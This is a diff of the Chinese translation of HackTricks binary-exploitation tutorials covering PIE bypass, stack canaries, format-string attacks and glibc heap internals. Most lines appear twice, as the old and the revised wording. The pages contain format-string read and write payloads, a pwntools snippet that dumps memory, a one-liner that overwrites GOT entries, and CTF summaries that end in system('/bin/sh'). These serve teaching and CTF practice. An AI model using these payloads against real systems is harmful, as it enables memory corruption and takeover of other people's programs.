利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置改变也保持不变。要 **绕过 PIE,只需泄露一个地址**,通常通过使用格式字符串攻击等漏洞从 **栈** 中获取。一旦你有了一个地址,就可以通过它们的 **固定偏移量** 计算其他地址。
|
||||
利用这些二进制文件的技巧在于利用 **相对地址**——程序各部分之间的偏移量即使绝对位置改变也保持不变。要 **绕过 PIE,您只需泄露一个地址**,通常通过使用格式字符串攻击等漏洞从 **栈** 中获取。一旦您有了一个地址,您可以通过它们的 **固定偏移量** 计算其他地址。
|
||||
|
||||
在利用 PIE 二进制文件时,一个有用的提示是它们的 **基地址通常以 000 结尾**,这是因为内存页是随机化的单位,大小为 0x1000 字节。这种对齐可以是 **检查漏洞是否按预期工作** 的关键,指示是否已识别正确的基地址。\
|
||||
或者你可以将其用于你的漏洞利用,如果你泄露了一个地址位于 **`0x649e1024`**,你就知道 **基地址是 `0x649e1000`**,然后你可以 **计算** 函数和位置的偏移量。
|
||||
在利用 PIE 二进制文件时,一个有用的提示是它们的 **基地址通常以 000 结尾**,因为内存页是随机化的单位,大小为 0x1000 字节。如果一个漏洞没有按预期工作,这种对齐可以是一个关键的 **检查**,指示是否已识别正确的基地址。\
|
||||
或者您可以将其用于您的漏洞,如果您泄露了一个地址位于 **`0x649e1024`**,您就知道 **基地址是 `0x649e1000`**,然后您可以 **计算** 函数和位置的偏移量。
|
||||
|
||||
## 绕过方法
|
||||
|
||||
为了绕过 PIE,需要 **泄露已加载二进制文件的某个地址**,有一些选项可以做到这一点:
|
||||
|
||||
- **禁用 ASLR**:如果 ASLR 被禁用,编译为 PIE 的二进制文件总是 **会加载到相同的地址**,因此 **PIE 将变得无用**,因为对象的地址总是会在同一个地方。
|
||||
- 被 **给出** 泄露(在简单的 CTF 挑战中常见, [**查看这个例子**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- 在栈中 **暴力破解 EBP 和 EIP 值**,直到你泄露出正确的值:
|
||||
- **禁用 ASLR**:如果 ASLR 被禁用,编译为 PIE 的二进制文件将始终 **加载到相同的地址**,因此 **PIE 将变得无用**,因为对象的地址将始终在同一位置。
|
||||
- 被 **给出** 泄露(在简单的 CTF 挑战中常见, [**查看此示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- 在栈中 **暴力破解 EBP 和 EIP 值**,直到您泄露正确的值:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
- 使用 **任意读取** 漏洞,例如 [**格式字符串**](../../format-strings/index.html) 来泄露二进制文件的地址(例如,从栈中,如前面的技术所示)以获取二进制文件的基地址并从那里使用偏移量。[**在这里找到一个例子**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||
- 使用 **任意读取** 漏洞,例如 [**格式字符串**](../../format-strings/index.html) 来泄露二进制文件的地址(例如,从栈中,像在前面的技术中一样)以获取二进制文件的基地址并从那里使用偏移量。 [**在这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
@ -6,13 +6,13 @@
|
||||
|
||||
**StackGuard** 在 **EIP (扩展指令指针)** 之前插入一个特殊值,称为 **canary**,具体为 `0x000aff0d`(表示空值、换行符、EOF、回车)以防止缓冲区溢出。然而,像 `recv()`、`memcpy()`、`read()` 和 `bcopy()` 这样的函数仍然存在漏洞,并且它不保护 **EBP (基指针)**。
|
||||
|
||||
**StackShield** 采用比 StackGuard 更复杂的方法,通过维护一个 **全局返回栈**,存储所有返回地址 (**EIPs**)。这种设置确保任何溢出不会造成伤害,因为它允许比较存储的和实际的返回地址以检测溢出发生。此外,StackShield 可以检查返回地址与边界值,以检测 **EIP** 是否指向预期数据空间之外。然而,这种保护可以通过 Return-to-libc、ROP(面向返回的编程)或 ret2ret 等技术绕过,这表明 StackShield 也不保护局部变量。
|
||||
**StackShield** 采用比 StackGuard 更复杂的方法,通过维护一个 **全局返回栈**,存储所有返回地址 (**EIPs**)。这种设置确保任何溢出不会造成伤害,因为它允许比较存储的和实际的返回地址以检测溢出发生。此外,StackShield 可以检查返回地址是否超出预期数据空间的边界值。然而,这种保护可以通过 Return-to-libc、ROP(面向返回的编程)或 ret2ret 等技术绕过,这表明 StackShield 也不保护局部变量。
|
||||
|
||||
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
|
||||
|
||||
该机制在 **EBP** 之前放置一个 **canary**,并重新组织局部变量以将缓冲区放置在更高的内存地址,防止它们覆盖其他变量。它还安全地复制传递到局部变量上方的堆栈参数,并使用这些副本作为参数。然而,它不保护少于 8 个元素的数组或用户结构中的缓冲区。
|
||||
该机制在 **EBP** 之前放置一个 **canary**,并重新组织局部变量以将缓冲区放置在更高的内存地址,从而防止它们覆盖其他变量。它还安全地复制传递到栈上的参数,并使用这些副本作为参数。然而,它不保护少于 8 个元素的数组或用户结构中的缓冲区。
|
||||
|
||||
**canary** 是从 `/dev/urandom` 派生的随机数或默认值 `0xff0a0000`。它存储在 **TLS (线程局部存储)** 中,允许跨线程共享内存空间具有线程特定的全局或静态变量。这些变量最初从父进程复制,子进程可以在不影响父进程或兄弟进程的情况下更改其数据。然而,如果 **`fork()` 在不创建新 canary 的情况下使用,所有进程(父进程和子进程)共享相同的 canary**,使其变得脆弱。在 **i386** 架构中,canary 存储在 `gs:0x14`,在 **x86_64** 中,存储在 `fs:0x28`。
|
||||
**canary** 是从 `/dev/urandom` 派生的随机数或默认值 `0xff0a0000`。它存储在 **TLS (线程本地存储)** 中,允许跨线程共享内存空间具有线程特定的全局或静态变量。这些变量最初从父进程复制,子进程可以在不影响父进程或兄弟进程的情况下更改其数据。然而,如果 **`fork()` 在不创建新 canary 的情况下使用,所有进程(父进程和子进程)共享相同的 canary**,使其变得脆弱。在 **i386** 架构中,canary 存储在 `gs:0x14`,在 **x86_64** 中,存储在 `fs:0x28`。
|
||||
|
||||
这种本地保护识别具有缓冲区易受攻击的函数,并在这些函数的开始处注入代码以放置 canary,在结束时验证其完整性。
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
在 `x86` 二进制文件中,canary cookie 是一个 **`0x4`** 字节的 dword。**前三个字节是随机的**,最后一个字节是 **空字节**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 两个 canary 的最低有效字节是空字节,因为它将是来自较低地址的堆栈中的第一个,因此 **读取字符串的函数将在读取之前停止**。
|
||||
> 两个 canary 的最低有效字节是空字节,因为它将是来自较低地址的栈中的第一个,因此 **读取字符串的函数将在读取之前停止**。
|
||||
|
||||
## 绕过
|
||||
|
||||
@ -43,9 +43,9 @@ bf-forked-stack-canaries.md
|
||||
print-stack-canary.md
|
||||
{{#endref}}
|
||||
|
||||
- **覆盖堆栈存储的指针**
|
||||
- **覆盖栈存储指针**
|
||||
|
||||
易受堆栈溢出影响的堆栈可能 **包含可以被覆盖的字符串或函数的地址**,以利用该漏洞而无需到达堆栈 canary。检查:
|
||||
易受栈溢出影响的栈可能 **包含可以被覆盖的字符串或函数的地址**,以利用该漏洞而无需到达栈 canary。检查:
|
||||
|
||||
{{#ref}}
|
||||
../../stack-overflow/pointer-redirecting.md
|
||||
@ -55,11 +55,11 @@ print-stack-canary.md
|
||||
|
||||
在受 canary 保护的线程函数中 **缓冲区溢出** 可以用来 **修改线程的主 canary**。因此,缓解措施是无效的,因为检查是使用两个相同的(尽管被修改过的)canary。
|
||||
|
||||
此外,在受 canary 保护的线程函数中 **缓冲区溢出** 可以用来 **修改存储在 TLS 中的主 canary**。这是因为,可能通过线程的 **堆栈中的 bof** 到达存储 TLS 的内存位置(因此,canary)。\
|
||||
此外,在受 canary 保护的线程函数中 **缓冲区溢出** 可以用来 **修改存储在 TLS 中的主 canary**。这是因为,可能通过线程的 **栈中的 bof** 到达存储 TLS 的内存位置(因此,canary)。\
|
||||
因此,缓解措施是无效的,因为检查是使用两个相同的(尽管被修改过的)canary。\
|
||||
此攻击在以下写作中进行: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
还可以查看 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示,其中提到通常 **TLS** 是通过 **`mmap`** 存储的,当 **线程** 的 **堆栈** 被创建时,它也是通过 `mmap` 生成的,这可能允许如前所述的溢出。
|
||||
还可以查看 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示,其中提到通常 **TLS** 是通过 **`mmap`** 存储的,当 **线程** 的 **栈** 被创建时,它也是通过 `mmap` 生成的,这可能允许如前所述的溢出。
|
||||
|
||||
- **修改 `__stack_chk_fail` 的 GOT 条目**
|
||||
|
||||
@ -67,7 +67,7 @@ print-stack-canary.md
|
||||
|
||||
此攻击在以下写作中进行: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
|
||||
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
@ -4,30 +4,30 @@
|
||||
|
||||
## 扩大打印的栈
|
||||
|
||||
想象一个情况,其中一个 **易受攻击的程序** 可以执行一个 **puts** 函数 **指向** **栈溢出** 的 **部分**。攻击者知道 **金丝雀的第一个字节是一个空字节** (`\x00`),其余的金丝雀是 **随机** 字节。然后,攻击者可以创建一个溢出,**覆盖栈直到金丝雀的第一个字节**。
|
||||
想象一个情况,其中一个**易受攻击的程序**可以执行一个**puts**函数,**指向****栈溢出**的**一部分**。攻击者知道**金丝雀的第一个字节是一个空字节**(`\x00`),其余的金丝雀是**随机**字节。然后,攻击者可以创建一个溢出,**覆盖栈直到金丝雀的第一个字节**。
|
||||
|
||||
然后,攻击者在有效负载的中间 **调用 puts 功能**,这将 **打印所有金丝雀**(除了第一个空字节)。
|
||||
然后,攻击者**在有效负载的中间调用puts功能**,这将**打印所有金丝雀**(除了第一个空字节)。
|
||||
|
||||
有了这些信息,攻击者可以 **制作并发送一个新攻击**,知道金丝雀(在同一程序会话中)。
|
||||
有了这些信息,攻击者可以**制作并发送一个新的攻击**,知道金丝雀(在同一程序会话中)。
|
||||
|
||||
显然,这种策略是非常 **受限** 的,因为攻击者需要能够 **打印** 他的 **有效负载** 的 **内容** 来 **提取** **金丝雀**,然后能够创建一个新的有效负载(在 **同一程序会话** 中)并 **发送** **真实的缓冲区溢出**。
|
||||
显然,这种战术是非常**受限**的,因为攻击者需要能够**打印**其**有效负载**的**内容**以**提取**金丝雀,然后能够创建一个新的有效负载(在**同一程序会话**中)并**发送****真实的缓冲区溢出**。
|
||||
|
||||
**CTF 示例:**
|
||||
**CTF示例:**
|
||||
|
||||
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 位,启用 ASLR 但没有 PIE,第一步是填充溢出直到金丝雀的字节 0x00,然后调用 puts 并泄漏它。利用金丝雀创建一个 ROP gadget 来调用 puts 泄漏 GOT 中 puts 的地址,然后是一个 ROP gadget 来调用 `system('/bin/sh')`
|
||||
- 64位,启用ASLR但没有PIE,第一步是填充溢出直到金丝雀的字节0x00,然后调用puts并泄漏它。利用金丝雀创建一个ROP小工具来调用puts以泄漏GOT中puts的地址,然后是一个ROP小工具来调用`system('/bin/sh')`
|
||||
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
|
||||
- 32 位,ARM,无 relro,金丝雀,nx,无 pie。通过调用 puts 来溢出以泄漏金丝雀 + ret2lib 调用 `system` 的 ROP 链,弹出 r0(参数 `/bin/sh`)和 pc(system 的地址)
|
||||
- 32位,ARM,无relro,金丝雀,nx,无pie。通过调用puts来溢出以泄漏金丝雀 + ret2lib调用`system`,使用ROP链弹出r0(参数`/bin/sh`)和pc(system的地址)
|
||||
|
||||
## 任意读取
|
||||
|
||||
通过 **任意读取**,例如格式 **字符串** 提供的,可能会泄漏金丝雀。查看这个例子:[**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries),你可以阅读关于滥用格式字符串以读取任意内存地址的内容:
|
||||
通过**任意读取**,例如格式**字符串**提供的,可能泄漏金丝雀。查看这个例子:[**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries),你可以阅读关于滥用格式字符串以读取任意内存地址的内容:
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
{{#endref}}
|
||||
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
|
||||
- 这个挑战以非常简单的方式滥用格式字符串来读取栈中的金丝雀
|
||||
- 这个挑战以非常简单的方式滥用格式字符串从栈中读取金丝雀
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
在 C 中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。
|
||||
@ -38,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
- fprintf 漏洞:
|
||||
- fprintf 漏洞:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -57,7 +58,7 @@ return 0;
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
并且你会从第一个参数读取到第四个参数。
|
||||
你可以从第一个参数读取到第四个参数。
|
||||
|
||||
或者你可以这样做:
|
||||
```c
|
||||
@ -72,7 +73,7 @@ printf("%4$x")
|
||||
|
||||
## **任意读取**
|
||||
|
||||
可以使用格式化器 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其打印为字符串**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈中的第四个位置开始,则可以使用以下方式打印二进制文件的开头:
|
||||
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其打印为字符串**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第四个位置开始,则可以使用以下方式打印二进制文件的开头:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -90,7 +91,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
|
||||
### 查找偏移量
|
||||
|
||||
要找到输入的偏移量,您可以发送 4 或 8 字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A's`。
|
||||
要找到输入的偏移量,您可以发送 4 或 8 字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A`。
|
||||
|
||||
<details>
|
||||
|
||||
@ -130,32 +131,32 @@ p.close()
|
||||
任意读取可以用于:
|
||||
|
||||
- **从内存中转储** **二进制文件**
|
||||
- **访问存储敏感** **信息** 的内存特定部分(如金丝雀、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
|
||||
- **访问存储敏感信息的内存特定部分**(如 canaries、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
|
||||
|
||||
## **任意写入**
|
||||
|
||||
格式化器 **`%<num>$n`** **在** \<num> 参数指定的地址中 **写入** **写入的字节数**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字。
|
||||
格式化器 **`%<num>$n`** **在** \<num> 参数指定的地址 **写入** **写入的字节数**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%<num>$n`** 在任意地址写入任意数字。
|
||||
|
||||
幸运的是,写入数字 9999 时,不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址中写入数字 **`<num-write>`**。
|
||||
幸运的是,写入数字 9999 时,不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 写入数字 **`<num-write>`**。
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
然而,请注意,通常为了写入像 `0x08049724` 这样的地址(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作会进行两次,一次用于地址的最高 2B,另一次用于最低的。
|
||||
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个很大的数字一次性写入),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次是针对地址的高 2B,另一次是针对低 2B。
|
||||
|
||||
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
|
||||
|
||||
在这个例子中,目标是**覆盖**一个**函数**在**GOT** 表中的**地址**,该函数将在稍后被调用。尽管这可能会滥用其他任意写入到 exec 的技术:
|
||||
在这个例子中,目标是**覆盖**一个**函数**在**GOT** 表中的**地址**,该函数将在稍后被调用。尽管这可能会滥用其他任意写入到执行的技术:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
我们将**覆盖**一个**接收**来自**用户**的**参数**的**函数**,并将其**指向** **`system`** **函数**。\
|
||||
如前所述,写入地址通常需要 2 个步骤:您**首先写入 2 字节**的地址,然后写入其他 2 字节。为此使用**`$hn`**。
|
||||
我们将**覆盖**一个**函数**,该函数**接收**来自**用户**的**参数**并**指向**`system` **函数**。\
|
||||
如前所述,写入地址通常需要 2 个步骤:您**首先写入 2 字节**的地址,然后写入另外 2 字节。为此使用**`$hn`**。
|
||||
|
||||
- **HOB** 被调用为地址的 2 个高字节
|
||||
- **LOB** 被调用为地址的 2 个低字节
|
||||
- **HOB** 是指地址的 2 个高字节
|
||||
- **LOB** 是指地址的 2 个低字节
|
||||
|
||||
然后,由于格式字符串的工作原理,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。
|
||||
|
||||
@ -173,6 +174,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||
|
||||
您可以在以下位置找到用于准备此类漏洞的 **模板**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
@ -198,7 +200,7 @@ p.interactive()
|
||||
```
|
||||
## 格式字符串到缓冲区溢出
|
||||
|
||||
可以利用格式字符串漏洞的写入操作来**写入栈的地址**并利用**缓冲区溢出**类型的漏洞。
|
||||
可以利用格式字符串漏洞的写入操作来**写入栈的地址**,并利用**缓冲区溢出**类型的漏洞。
|
||||
|
||||
## 其他示例与参考
|
||||
|
||||
@ -210,6 +212,6 @@ p.interactive()
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32位,relro,无canary,nx,无pie,格式字符串覆盖地址`fflush`与win函数(ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入GOT表中的`system`指向`strlen`。当流程返回到main时,`strlen`将以用户输入执行并指向`system`,它将执行传递的命令。
|
||||
- 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入GOT表中的`system`,指向`strlen`。当流程返回到main时,`strlen`将以用户输入为参数执行,并指向`system`,将执行传递的命令。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,15 +12,15 @@
|
||||
|
||||
### Basic Chunk Allocation
|
||||
|
||||
当请求将某些数据存储在堆中时,会为其分配堆的一部分空间。该空间将属于一个 bin,并且仅为请求的数据 + bin 头的空间 + 最小 bin 大小偏移量保留。目标是尽可能少地保留内存,而不使查找每个 chunk 的位置变得复杂。为此,使用元数据 chunk 信息来知道每个已用/空闲 chunk 的位置。
|
||||
当请求将某些数据存储在堆中时,会为其分配堆的一部分空间。该空间将属于一个 bin,只有请求的数据 + bin 头的空间 + 最小 bin 大小的偏移量将被保留给该块。目标是尽可能少地保留内存,而不使查找每个块的位置变得复杂。为此,使用元数据块信息来知道每个已用/空闲块的位置。
|
||||
|
||||
根据使用的 bin,有不同的方法来保留空间,但一般方法如下:
|
||||
根据使用的 bin,有不同的方法来保留空间,但一般的方法如下:
|
||||
|
||||
- 程序开始请求一定量的内存。
|
||||
- 如果在 chunk 列表中有足够大的可用 chunk,将使用它。
|
||||
- 这甚至可能意味着可用 chunk 的一部分将用于此请求,其余部分将添加到 chunk 列表中。
|
||||
- 如果列表中没有可用的 chunk,但已分配的堆内存中仍有空间,堆管理器将创建一个新 chunk。
|
||||
- 如果没有足够的堆空间来分配新 chunk,堆管理器会请求内核扩展分配给堆的内存,然后使用这块内存生成新 chunk。
|
||||
- 程序开始时请求一定量的内存。
|
||||
- 如果在块列表中有足够大的可用块来满足请求,则将使用该块。
|
||||
- 这甚至可能意味着可用块的一部分将用于此请求,其余部分将添加到块列表中。
|
||||
- 如果列表中没有可用块,但已分配的堆内存中仍有空间,堆管理器将创建一个新块。
|
||||
- 如果没有足够的堆空间来分配新块,堆管理器会请求内核扩展分配给堆的内存,然后使用这块内存生成新块。
|
||||
- 如果一切都失败,`malloc` 返回 null。
|
||||
|
||||
请注意,如果请求的 **内存超过阈值**,将使用 **`mmap`** 来映射请求的内存。
|
||||
@ -41,9 +41,9 @@
|
||||
|
||||
1. **初始堆与子堆**:
|
||||
- 初始堆位于程序的二进制文件后面,并通过 `sbrk` 系统调用扩展。
|
||||
- 子堆由次要 arena 使用,通过 `mmap` 创建,这是一个映射指定内存区域的系统调用。
|
||||
- 次要 arena 使用的子堆是通过 `mmap` 创建的,`mmap` 是一个映射指定内存区域的系统调用。
|
||||
2. **使用 `mmap` 进行内存保留**:
|
||||
- 当堆管理器创建子堆时,通过 `mmap` 保留一大块内存。此保留不会立即分配内存;它只是指定一个区域,其他系统进程或分配不应使用。
|
||||
- 当堆管理器创建子堆时,它通过 `mmap` 保留一大块内存。此保留不会立即分配内存;它只是指定一个区域,其他系统进程或分配不应使用。
|
||||
- 默认情况下,子堆的保留大小为 32 位进程的 1 MB 和 64 位进程的 64 MB。
|
||||
3. **使用 `mprotect` 逐步扩展**:
|
||||
- 保留的内存区域最初标记为 `PROT_NONE`,表示内核尚不需要为此空间分配物理内存。
|
||||
@ -91,7 +91,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
```
|
||||
|
||||
- `mchunkptr bins[NBINS * 2 - 2];` 包含指向**小型、大型和未排序的** **bins**的**第一个和最后一个块**的**指针**(-2是因为索引0未使用)
|
||||
- 因此,这些bins的**第一个块**将有一个**指向此结构的反向指针**,而这些bins的**最后一个块**将有一个**指向此结构的前向指针**。这基本上意味着,如果你能**泄漏主区域中的这些地址**,你将获得指向**libc**中结构的指针。
|
||||
- 因此,这些bins的**第一个块**将有一个**指向此结构的反向指针**,而这些bins的**最后一个块**将有一个**指向此结构的前向指针**。这基本上意味着,如果你能**泄露主区域中的这些地址**,你将获得指向**libc**中结构的指针。
|
||||
- 结构`struct malloc_state *next;`和`struct malloc_state *next_free;`是区域的链表
|
||||
- `top`块是最后一个“块”,基本上是**所有堆剩余空间**。一旦顶块“空”,堆就完全使用,需要请求更多空间。
|
||||
- `last reminder`块来自于没有可用的精确大小块的情况,因此一个更大的块被拆分,剩余部分的指针放在这里。
|
||||
@ -144,7 +144,7 @@ INTERNAL_SIZE_T max_system_mem;
|
||||
```
|
||||
### malloc_chunk
|
||||
|
||||
该结构表示特定的内存块。不同字段对已分配和未分配块具有不同的含义。
|
||||
这个结构表示一块特定的内存。不同字段对于已分配和未分配的块有不同的含义。
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
@ -171,7 +171,7 @@ typedef struct malloc_chunk* mchunkptr;
|
||||
|
||||
然后是用户数据的空间,最后是0x08B,用于指示块可用时的前一个块大小(或在分配时存储用户数据)。
|
||||
|
||||
此外,当可用时,用户数据也用于包含一些数据:
|
||||
此外,当可用时,用户数据还用于包含一些数据:
|
||||
|
||||
- **`fd`**:指向下一个块的指针
|
||||
- **`bk`**:指向前一个块的指针
|
||||
@ -330,7 +330,7 @@ people extending or adapting this malloc.
|
||||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
- 确保位
|
||||
- Insue bit
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
@ -354,7 +354,7 @@ people extending or adapting this malloc.
|
||||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
- 设置页眉和页脚(当使用块编号时)
|
||||
- 设置头部和底部(当使用块编号时)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
@ -417,7 +417,7 @@ strcpy(ptr, "panda");
|
||||
|
||||
可以看到字符串 panda 存储在 `0xaaaaaaac12a0`(这是 malloc 在 `x0` 中给出的地址)。检查 0x10 字节之前,可以看到 `0x0` 表示 **前一个块未被使用**(长度为 0),而这个块的长度为 `0x21`。
|
||||
|
||||
保留的额外空间(0x21-0x10=0x11)来自 **添加的头部**(0x10),而 0x1 并不意味着它被保留为 0x21B,而是当前头部长度的最后 3 位具有一些特殊含义。由于长度始终是 16 字节对齐的(在 64 位机器上),这些位实际上永远不会被长度数字使用。
|
||||
保留的额外空间(0x21-0x10=0x11)来自 **添加的头部**(0x10),而 0x1 并不意味着它保留了 0x21B,但当前头部长度的最后 3 位有一些特殊含义。由于长度始终是 16 字节对齐的(在 64 位机器上),这些位实际上永远不会被长度数字使用。
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
@ -504,5 +504,4 @@ heap-memory-functions/heap-functions-security-checks.md
|
||||
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,19 +4,19 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
为了提高块存储的效率,每个块不仅仅在一个链表中,而是有几种类型。这些是 bins,有 5 种类型的 bins:[62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小 bins,63 大 bins,1 个未排序 bin,10 个快速 bins 和每个线程 64 个 tcache bins。
|
||||
为了提高块存储的效率,每个块不仅在一个链表中,而是有几种类型。这些是 bins,有 5 种类型的 bins:[62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) 小 bins,63 大 bins,1 个未排序 bin,10 个快速 bins 和每个线程 64 个 tcache bins。
|
||||
|
||||
每个未排序、小型和大型 bins 的初始地址在同一个数组中。索引 0 未使用,1 是未排序 bin,bins 2-64 是小 bins,bins 65-127 是大 bins。
|
||||
每个未排序、小型和大型 bins 的初始地址在同一个数组内。索引 0 未使用,1 是未排序 bin,bins 2-64 是小 bins,bins 65-127 是大 bins。
|
||||
|
||||
### Tcache(每线程缓存)Bins
|
||||
|
||||
